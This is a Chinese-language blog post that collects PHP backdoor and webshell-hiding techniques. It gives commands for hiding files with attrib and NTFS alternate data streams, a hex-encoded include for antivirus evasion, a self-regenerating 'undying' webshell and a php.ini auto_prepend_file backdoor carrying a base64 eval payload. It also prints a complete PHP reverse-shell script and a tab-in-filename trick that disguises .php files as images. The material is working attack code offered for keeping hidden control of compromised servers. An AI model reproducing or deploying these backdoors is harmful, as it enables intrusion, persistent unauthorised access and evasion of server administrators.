php常见后门,php后门隐藏技巧大全
1. attrib +s +h
創(chuàng)建系統(tǒng)隱藏文件:
attrib +s +a +r +h
attrib +s +h 文件名
在 Windows 10下即使開啟了顯示隱藏的項目,或dir仍然看不見。
2. 利用 ADS 隱藏文件
NTFS交換數(shù)據(jù)流(Alternate Data Streams,簡稱 ADS)是 NTFS 磁盤格式的一個特性,在 NTFS文件系統(tǒng)下,每個文件都可以存在多個數(shù)據(jù)流。通俗的理解,就是其它文件可以“寄宿”在某個文件身上,而在資源管理器中卻只能看到宿主文件,找不到寄宿文件。利用ADS 數(shù)據(jù)流,我們可以做很多有趣的事情。(抄的)
首先創(chuàng)建 ADS 隱藏文件
在命令行,echo 一個數(shù)據(jù)流進(jìn)去,比如 index 文件是正常文件。
echo ^ > index.php:shell.jpg
這樣就生成了一個不可見的 index.php:shell.jpg
使用dir /r查看
可使用命令直接修改,要刪除的話 直接刪除 index.php就ok了
第二步,直接使用正常文件包含。
做一些免殺
把 index.php:shell.jpg hex 編碼
$a="696E6465782E7068703A7368656C6C2E6A7067";
// index.php:shell.jpg hex編碼
$b="a";
include(PACK('H*',$$b))
?>
3.php環(huán)境變量留shell
在c盤創(chuàng)建這個目錄
丟個圖片一句話
然后文件包含,就好。為了隱蔽可以包含圖片碼,txt等。
4.不死馬
運行后,會刪除自身,生成一個 webshell.php,管理員刪除后還會生成。set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
file_put_contents('webshell.php','');
sleep(5);
}
解決覆蓋重寫或者重啟 web 服務(wù)刪掉即可。set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
file_put_contents('webshell.php','clear');
sleep(1);
}
五. php.ini后門
將下面后門寫入php.iniallow_url_include=On
auto_prepend_file="data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW2NtZF0pOz8+"
// base64
// 后門類型可自己修改。
這些做好后,重啟 web 服務(wù)就好了。
方法1. 如果權(quán)限很大的話,自己手動重啟,缺點容易暴露,重啟服務(wù),就要上服務(wù)器,某里的服務(wù)器,異地登陸有短信提醒。
方法2.就是加載一個 php_socke.php 腳本,讓它重新加載 php.ini
此后門,任何php都可菜刀連接/******************************/
/* 只適用于windows系統(tǒng) */
/******************************/
while(true){//別問我為什么要死循環(huán),我也不清楚,只有設(shè)置成死循環(huán)才能加載新的 php.ini ...
@set_time_limit(0);
$system=strtoupper(substr(PHP_OS,0,3));
if(!extension_loaded('sockets'))
{
if($system=='WIN'){@dl('php_sockets.dll')ordie("Can't load socket");}
}
$host='255.255.255.255';// 搞一個不存在的ip,萬一給人家反彈過去了豈不是很尷尬了~~~
$port=1998;//別問我為什么是1998,問了我也不會告訴你....
if($system=="WIN"){$env=array('path'=>'c:windowssystem32');}
$descriptorspec=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"),);
$host=gethostbyname($host);
$proto=getprotobyname("tcp");
if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0){die("Socket創(chuàng)建失敗");}
if(($ret=@socket_connect($sock,$host,$port))<0){die("連接失敗");}
else{
$message="PHP反彈連接n";
@socket_write($sock,$message,strlen($message));
$cwd=str_replace('','/',dirname(__FILE__));
while($cmd=@socket_read($sock,65535,$proto))
{
if(trim(strtolower($cmd))=="exit"){
socket_write($sock,"Byen");exit;
}else{
$process=proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
if(is_resource($process)){
fwrite($pipes[0],$cmd);
fclose($pipes[0]);
$msg=stream_get_contents($pipes[1]);
socket_write($sock,$msg,strlen($msg));
fclose($pipes[1]);
$msg=stream_get_contents($pipes[2]);
socket_write($sock,$msg,strlen($msg));
$return_value=proc_close($process);
}
}
}
}
}
?>
//此腳本非百分百成功
6. 關(guān)鍵字拆分,多文件包含!
比如一句話:@eval($_POST['x']);我們可以寫成$a=$_POST['x'];@eval($a);
我們可以將 $a=$_POST['x'];寫入一個文件 POST.php
然后在 @eval($a); 一句話的上方使用 include "POST.php";的方式引用!
7.將真正的一句話寫入數(shù)據(jù)庫
當(dāng)我們發(fā)現(xiàn)源碼有個地方執(zhí)行了數(shù)據(jù)庫操作,那我們就可以改源碼和數(shù)據(jù)庫啦~
比如,修改成 eval(查出的數(shù)據(jù));
8.以下是linux的
無意中發(fā)現(xiàn)的。具體看代碼。
$webpath = dirname(__FILE__)."/";
file_put_contents($webpath ."guige.jpg".chr(9).".php","保存的內(nèi)容(比如寫
個一句話)");
?>
生成一個文件。
在目錄下看到是顯示 名字為 guige.jpg
但是 web 瀏覽 卻發(fā)現(xiàn) 沒有找到 guige.jpg 后來發(fā)現(xiàn) 需要添 guige.jpg%09.php 這樣
的話就導(dǎo)致我們可以對后門隱藏了。。管理員看到的是.jpg 我們卻可以 web 用.php 解析來
連接。。。有用的到的可以看看。
總結(jié)
以上是生活随笔為你收集整理的php常见后门,php后门隐藏技巧大全的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Uva129 Krypton Facto
- 下一篇: 对数型函数的值域与定义域为R(手机横屏交